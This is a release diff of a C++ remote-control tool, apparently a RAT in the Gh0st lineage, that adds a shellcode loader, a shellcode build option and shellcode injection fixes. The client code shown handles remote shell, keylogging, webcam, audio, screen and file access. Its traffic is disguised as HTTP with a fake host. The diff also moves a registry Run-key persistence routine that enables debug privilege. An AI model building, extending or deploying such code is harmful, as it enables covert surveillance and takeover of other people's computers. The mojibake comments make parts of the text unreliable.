Release v1.1.6

Feature: Supports multiple remote displays (video wall)
Feature: Add client shellcode building option
2025-09-11 14:53:07 +08:00 · 2025-09-07 21:44:43 +08:00 · 2025-09-01 13:14:19 +08:00 · 2025-08-31 18:26:27 +08:00 · 2025-08-20 14:03:44 +08:00 · 2025-08-20 14:03:44 +08:00
60 changed files with 1263 additions and 364 deletions
--- a/2019Remote.sln
+++ b/2019Remote.sln
@@ -24,6 +24,8 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TinyRun", "client\TinyRun.vcxproj", "{E3F3A477-05BA-431D-B002-28EF8BFA6E86}"
 EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SCLoader", "client\SCLoader.vcxproj", "{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}"
+EndProject
 Global
 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
 		Debug|x64 = Debug|x64
@@ -72,6 +74,14 @@ Global
 		{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x64.Build.0 = Release|x64
 		{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.ActiveCfg = Release|Win32
 		{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.Build.0 = Release|Win32
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x64.ActiveCfg = Debug|x64
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x64.Build.0 = Debug|x64
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x86.ActiveCfg = Debug|Win32
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x86.Build.0 = Debug|Win32
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x64.ActiveCfg = Release|x64
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x64.Build.0 = Release|x64
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x86.ActiveCfg = Release|Win32
+		{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x86.Build.0 = Release|Win32
 	EndGlobalSection
 	GlobalSection(SolutionProperties) = preSolution
 		HideSolutionNode = FALSE
--- a/Dependencies.md
+++ b/Dependencies.md
@@ -12,5 +12,5 @@

 ## lib

- [HPSocket vv6.0.3](https://github.com/ldcsaa/HP-Socket)
+- [HPSocket v6.0.3](https://github.com/ldcsaa/HP-Socket)
 - [shrink v0.0.1](https://github.com/yuanyuanxiang/PrivateRemoter/tree/master/shrink)
--- a/ReadMe.md
+++ b/ReadMe.md
@@ -329,6 +329,22 @@ Release v1.1.4
 * 修复：虚拟桌面控制支持多显示器  
 * 修复：按下 F1 键时避免自动打开网页

+**2025.09.11**
+
+发布版本 v1.1.6：
+
+本次更新新增了客户端压缩和构建配置功能，支持多屏幕显示（视频墙）；优化了性能（如多线程压缩和 RTT 机制）；修复了通信协议和注入相关问题。
+
+* 功能：构建客户端时支持压缩选项  
+* 修复：#182 第一次命令使用 HTTP 协议  
+* 优化：为客户端启用 zstd 多线程压缩  
+* 优化：Master 使用 ZSTD_DCtx，并启用新的 RTT  
+* 修复：改进注册表创建和 shellcode 注入  
+* 优化：getPublicIP 可能失败并阻塞主程序的问题  
+* 功能：支持设置客户端构建标志  
+* 功能：新增客户端 shellcode 构建选项  
+* 功能：支持多个远程显示器（视频墙）  
+

 ---

--- a/ReadMe_EN.md
+++ b/ReadMe_EN.md
@@ -339,6 +339,21 @@ This version focuses on improving the remote control experience (especially mult
 * fix: Virtual desktop control support multiple monitor
 * fix: Avoid opening w web page when press F1

+**2025.09.11**
+
+Release v1.1.6
+
+This update adds client compression and build options, supports multiple displays (video wall), improves performance (e.g., multi-threaded compression and RTT), and fixes protocol and injection issues.
+
+* Feature: Support compression option when building client
+* fix: #182 First command using HTTP protocol
+* Improve: Enable zstd multi-thread compression for client
+* Improve: Master using ZSTD_DCtx and using new RTT
+* fix: Improve creating registry and injecting shellcode
+* Improve: getPublicIP may fail and block mater program
+* Feature: Support setting the client building flag
+* Feature: Add client shellcode building option
+* Feature: Supports multiple remote displays (video wall)

 ---

--- a/Releases/v1.1.6/Yama.exe
+++ b/Releases/v1.1.6/Yama.exe
--- a/client/AudioManager.cpp
+++ b/client/AudioManager.cpp
@@ -25,7 +25,8 @@ CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManag
 	}

 	BYTE	bToken = TOKEN_AUDIO_START;
-	m_ClientObject->Send2Server((char*)&bToken, 1);
+	HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+	m_ClientObject->Send2Server((char*)&bToken, 1, &mask);

 	WaitForDialogOpen();    //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	szPacket = NULL;
--- a/client/ClientDll.cpp
+++ b/client/ClientDll.cpp
@@ -156,59 +156,7 @@ DWORD WaitForMultipleHandlesEx(

 #if _CONSOLE

-//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
-void DebugPrivilege()
-{
-	HANDLE hToken = NULL;
-	//<2F>򿪵<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-	int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
-
-	if (hRet)
-	{
-		TOKEN_PRIVILEGES tp;
-		tp.PrivilegeCount = 1;
-		//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD>޵<EFBFBD>LUID
-		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
-		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-		//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
-		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
-
-		CloseHandle(hToken);
-	}
-}
-
-/**
-* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
-* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
-* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
-* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD>뿪<EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-*/
-BOOL SetSelfStart(const char* sPath, const char* sNmae)
-{
-	DebugPrivilege();
-
-	// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
-#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
-
-	// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
-	HKEY hKey = NULL;
-	LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
-
-	// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
-	if (lRet != ERROR_SUCCESS)
-		return FALSE;
-
-	lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
-
-	// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
-	RegCloseKey(hKey);
-
-	// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
-	return lRet == ERROR_SUCCESS;
-}
+#include "auto_start.h"

 // <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
 // <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
@@ -495,8 +443,10 @@ DWORD WINAPI StartClient(LPVOID lParam)
 		// The main ClientApp.
 		settings.SetServer(list[0].c_str(), settings.ServerPort());
 	}
+	iniFile cfg(CLIENT_PATH);
+	std::string pubIP = cfg.GetStr("settings", "public_ip", "");
 	State& bExit(app.g_bExit);
-	IOCPClient  *ClientObject = NewNetClient(&settings, bExit);
+	IOCPClient  *ClientObject = NewNetClient(&settings, bExit, pubIP);
 	if (nullptr == ClientObject) return -1;
 	CKernelManager* Manager = nullptr;

@@ -510,7 +460,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
 	}

 	app.SetThreadRun(TRUE);
-	ThreadInfo* kb = CreateKB(&settings, bExit);
+	ThreadInfo* kb = CreateKB(&settings, bExit, pubIP);
 	while (app.m_bIsRunning(&app))
 	{
 		ULONGLONG dwTickCount = GetTickCount64();
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -162,6 +162,7 @@
  </ItemDefinitionGroup>
  <ItemGroup>
    <ClCompile Include="..\common\ikcp.c" />
+    <ClCompile Include="..\common\zstd_wrapper.c" />
    <ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
    <ClCompile Include="Audio.cpp" />
    <ClCompile Include="AudioManager.cpp" />
@@ -196,6 +197,7 @@
  <ItemGroup>
    <ClInclude Include="..\common\ikcp.h" />
    <ClInclude Include="..\common\location.h" />
+    <ClInclude Include="..\common\zstd_wrapper.h" />
    <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
    <ClInclude Include="Audio.h" />
    <ClInclude Include="AudioManager.h" />
--- a/client/FileManager.cpp
+++ b/client/FileManager.cpp
@@ -294,8 +294,8 @@ UINT CFileManager::SendDriveList()
 		
 		dwOffset += 10 + nTypeNameLen + nFileSystemLen;
 	}
-
-	return Send((LPBYTE)DriveList, dwOffset);
+	HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+	return m_ClientObject->Send2Server((char*)DriveList, dwOffset, &mask);
 }


--- a/client/IOCPClient.cpp
+++ b/client/IOCPClient.cpp
@@ -23,15 +23,7 @@ inline int WSAGetLastError() { return -1; }
 #define Z_FAILED(p) (Z_OK != (p))
 #define Z_SUCCESS(p) (!Z_FAILED(p))
 #else
-#if USING_LZ4
-#include "lz4/lz4.h"
-#pragma comment(lib, "lz4/lz4.lib")
-#define Z_FAILED(p) (0 == (p))
-#define Z_SUCCESS(p) (!Z_FAILED(p))
-#define compress(dest, destLen, source, sourceLen) LZ4_compress_default((const char*)source, (char*)dest, sourceLen, *(destLen))
-#define uncompress(dest, destLen, source, sourceLen) LZ4_decompress_safe((const char*)source, (char*)dest, sourceLen, *(destLen))
-#else
-#include "zstd/zstd.h"
+#include "common/zstd_wrapper.h"
 #ifdef _WIN64
 #pragma comment(lib, "zstd/zstd_x64.lib")
 #else
@@ -39,16 +31,15 @@ inline int WSAGetLastError() { return -1; }
 #endif
 #define Z_FAILED(p) ZSTD_isError(p)
 #define Z_SUCCESS(p) (!Z_FAILED(p))
-#define ZSTD_CLEVEL 5
+#define ZSTD_CLEVEL ZSTD_CLEVEL_DEFAULT
 #if USING_CTX
-#define compress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
+#define compress(dest, destLen, source, sourceLen) zstd_compress_auto(m_Cctx, dest, *(destLen), source, sourceLen, 1024*1024)
 #define uncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
 #else
 #define compress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
 #define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
 #endif
 #endif
-#endif

 //////////////////////////////////////////////////////////////////////
 // Construction/Destruction
@@ -96,12 +87,14 @@ VOID IOCPClient::setManagerCallBack(void* Manager,  DataProcessCB dataProcess)
 }


-IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, int encoder) : g_bExit(bExit)
+IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, int encoder, 
+	const std::string& pubIP) : g_bExit(bExit)
 {
+	m_sLocPublicIP = pubIP;
 	m_ServerAddr = {};
 	m_nHostPort = 0;
 	m_Manager = NULL;
-	m_masker = mask ? new HttpMask("example.com") : new PkgMask();
+	m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
 	auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
 	m_EncoderType = encoder;
 	m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
@@ -121,7 +114,15 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
 #if USING_CTX
 	m_Cctx = ZSTD_createCCtx();
 	m_Dctx = ZSTD_createDCtx();
+	auto n = ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 4);
+	if (Z_FAILED(n)) {
+		ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
+	}
 	ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL);
+	ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_hashLog, 15);
+	ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_chainLog, 16);
+	ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_searchLog, 1);
+	ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_windowLog, 19);
 #endif
 }

@@ -379,7 +380,9 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
 			// UnMask
 			char* src = (char*)m_CompressedBuffer->GetBuffer();
 			ULONG srcSize = m_CompressedBuffer->GetBufferLength();
-			ULONG ret = m_masker->UnMask(src, srcSize);
+			PkgMaskType maskType = MaskTypeUnknown;
+			ULONG ret = TryUnMask(src, srcSize, maskType);
+			// ULONG ret = m_masker->UnMask(src, srcSize);
 			m_CompressedBuffer->Skip(ret);
 			if (m_CompressedBuffer->GetBufferLength() <= HDR_LENGTH)
 				break;
@@ -391,7 +394,7 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
 			HeaderEncType encType = HeaderEncUnknown;
 			FlagType flagType = CheckHead(szPacketFlag, encType);
 			if (flagType == FLAG_UNKNOWN) {
-				Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'\n", szPacketFlag);
+				Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s. Mask: %d'\n", szPacketFlag, maskType);
 				m_CompressedBuffer->ClearBuffer();
 				break;
 			}
@@ -449,9 +452,9 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,

 // <20><>server<65><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
 // <20>ر<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>SendWithSplit<69>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
-BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)  //Hello
+BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask)  //Hello
 {
-	AUTO_TICK(50);
+	AUTO_TICK(40);
 	assert (ulOriginalLength > 0);
 	{
 		int cmd = BYTE(szBuffer[0]);
@@ -462,8 +465,6 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
 		//destLen = 448
 #if USING_ZLIB
 		unsigned long	ulCompressedLength = (double)ulOriginalLength * 1.001  + 12;
-#elif USING_LZ4
-		unsigned long	ulCompressedLength = LZ4_compressBound(ulOriginalLength);
 #else
 		unsigned long	ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
 #endif
@@ -494,22 +495,26 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)

 		if (CompressedBuffer != buf) delete [] CompressedBuffer;

+		STOP_TICK;
 		// <20>ֿ鷢<D6BF><E9B7A2>
-		return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd);
+		return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd, mask);
 	}
 }

 //  5    2   //  2  2  1
-BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd)
+BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask)
 {
+	AUTO_TICK(50);
 	if (src == nullptr || srcSize == 0 || ulSplitLength == 0)
 		return FALSE;
 	// Mask
 	char* szBuffer = nullptr;
 	ULONG ulLength = 0;
+	(mask && srcSize <= ulSplitLength) ? mask->SetServer(m_sCurIP)->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd) :
 		m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd);
-
-	AUTO_TICK(25);
+	if(szBuffer != src && srcSize > ulSplitLength){
+		Mprintf("SendWithSplit: %d bytes large packet may causes issues.\n", srcSize);
+	}
 	bool         isFail = false;
 	int			 iReturn = 0;   //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
 	const char*  Travel = szBuffer;
--- a/client/IOCPClient.h
+++ b/client/IOCPClient.h
@@ -111,7 +111,8 @@ typedef BOOL(*TrailCheck)(void);
 class IOCPClient  
 {
 public:
-	IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0);
+	IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0, 
+		const std::string&pubIP="");
 	virtual ~IOCPClient();

 	int SendLoginInfo(const LOGIN_INFOR& logInfo) {
@@ -122,8 +123,17 @@ public:
 	}
 	virtual BOOL ConnectServer(const char* szServerIP, unsigned short uPort);

-	BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
-		return OnServerSending(szBuffer, ulOriginalLength);
+	std::string GetClientIP() const {
+		return m_sLocPublicIP;
+	}
+
+	std::map<std::string, std::string> GetClientIPHeader() const {
+		return m_sLocPublicIP.empty() ? std::map<std::string, std::string>{} : 
+			std::map<std::string, std::string>{ {"X-Forwarded-For", m_sLocPublicIP} };
+	}
+
+	BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask = NULL) {
+		return OnServerSending(szBuffer, ulOriginalLength, mask);
 	}

 	void SetServerAddress(const char* szServerIP, unsigned short uPort) {
@@ -162,10 +172,10 @@ protected:
 	virtual int SendTo(const char* buf, int len, int flags) {
 		return ::send(m_sClientSocket, buf, len, flags);
 	}
-	BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
+	BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
 	static DWORD WINAPI WorkThreadProc(LPVOID lParam);
 	VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
-	BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd);
+	BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd, PkgMask* mask);

 protected:
 	sockaddr_in			m_ServerAddr;
@@ -190,4 +200,5 @@ protected:
 	bool				m_exit_while_disconnect;
 	PkgMask*			m_masker;
 	BOOL				m_EncoderType;
+	std::string			m_sLocPublicIP;
 };
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -17,16 +17,16 @@
 #include "IOCPKCPClient.h"

 // UDP 协议仅能针对小包数据，且数据没有时序关联
-IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) {
+IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) {
 	if (conn->protoType == PROTO_HTTPS) return NULL;

 	int type = conn->protoType == PROTO_RANDOM ? time(nullptr) % PROTO_RANDOM : conn->protoType;
 	if (!conn->IsVerified() || type == PROTO_TCP)
-		return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType());
+		return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType(), publicIP);
 	if (type == PROTO_UDP)
 		return new IOCPUDPClient(bExit, exit_while_disconnect);
 	if (type == PROTO_HTTP || type == PROTO_HTTPS)
-		return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType());
+		return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType(), publicIP);
 	if (type == PROTO_KCP) {
 		return new IOCPKCPClient(bExit, exit_while_disconnect);
 	}
@@ -34,10 +34,10 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_di
 	return NULL;
 }

-ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
+ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP) {
 	static ThreadInfo tKeyboard;
 	tKeyboard.run = FOREVER_RUN;
-	tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType());
+	tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType(), publicIP);
 	tKeyboard.conn = conn;
 	tKeyboard.h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
 	return &tKeyboard;
@@ -56,7 +56,7 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
 #else
 	m_settings = { 0 };
 #endif
-	m_nNetPing = -1;
+	m_nNetPing = {};
 	m_hKeyboard = kb;
 }

@@ -377,6 +377,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 		m_hThread[m_ulThreadCount].p = nullptr;
 		m_hThread[m_ulThreadCount].conn = m_conn;
 	}
+	std::string publicIP = m_ClientObject->GetClientIP();

 	switch (szBuffer[0])
 	{
@@ -478,7 +479,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 	}

 	case COMMAND_PROXY: {
-		m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
+		m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
 		m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
 		break;
 	}
@@ -520,10 +521,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 		if (ulLength > 8) {
 			uint64_t n = 0;
 			memcpy(&n, szBuffer + 1, sizeof(uint64_t));
-			auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
-				std::chrono::system_clock::now()
-				);
-			m_nNetPing = int((system_ms.time_since_epoch().count() - n) / 2);
+			m_nNetPing.update_from_sample(GetUnixMs() - n);
 		}
 		break;
 	case CMD_MASTERSETTING:
@@ -536,7 +534,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 			if (m_hKeyboard) {
 				CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
 			} else {
-				m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
+				m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
 				m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
 			}
 			break;
@@ -544,7 +542,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)

 	case COMMAND_TALK:
 		{
-			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
+			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
 			m_hThread[m_ulThreadCount].user = m_hInstance; 
 			m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
 			break;
@@ -552,21 +550,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)

 	case COMMAND_SHELL:
 		{
-			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
+			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
 			m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
 			break;
 		}

 	case COMMAND_SYSTEM:       //远程进程管理
 		{
-			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
+			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
 			m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
 			break;
 		}

 	case COMMAND_WSLIST:       //远程窗口管理
 		{
-			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
+			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
 			m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
 			break;
 		}
@@ -595,7 +593,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 				memcpy(user->buffer, szBuffer + 1, ulLength - 1);
 				if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
 			}
-			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
+			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
 		    m_hThread[m_ulThreadCount].user = user;
 			m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
 			break;
@@ -603,7 +601,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)

 	case COMMAND_LIST_DRIVE :
 		{
-			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
+			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
 			m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
 			break;
 		}
@@ -612,28 +610,28 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
 		{
 			static bool hasCamera = WebCamIsExist();
 			if (!hasCamera) break;
-			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType());
+			m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP);
 			m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
 			break;
 		}

 	case COMMAND_AUDIO:
 		{
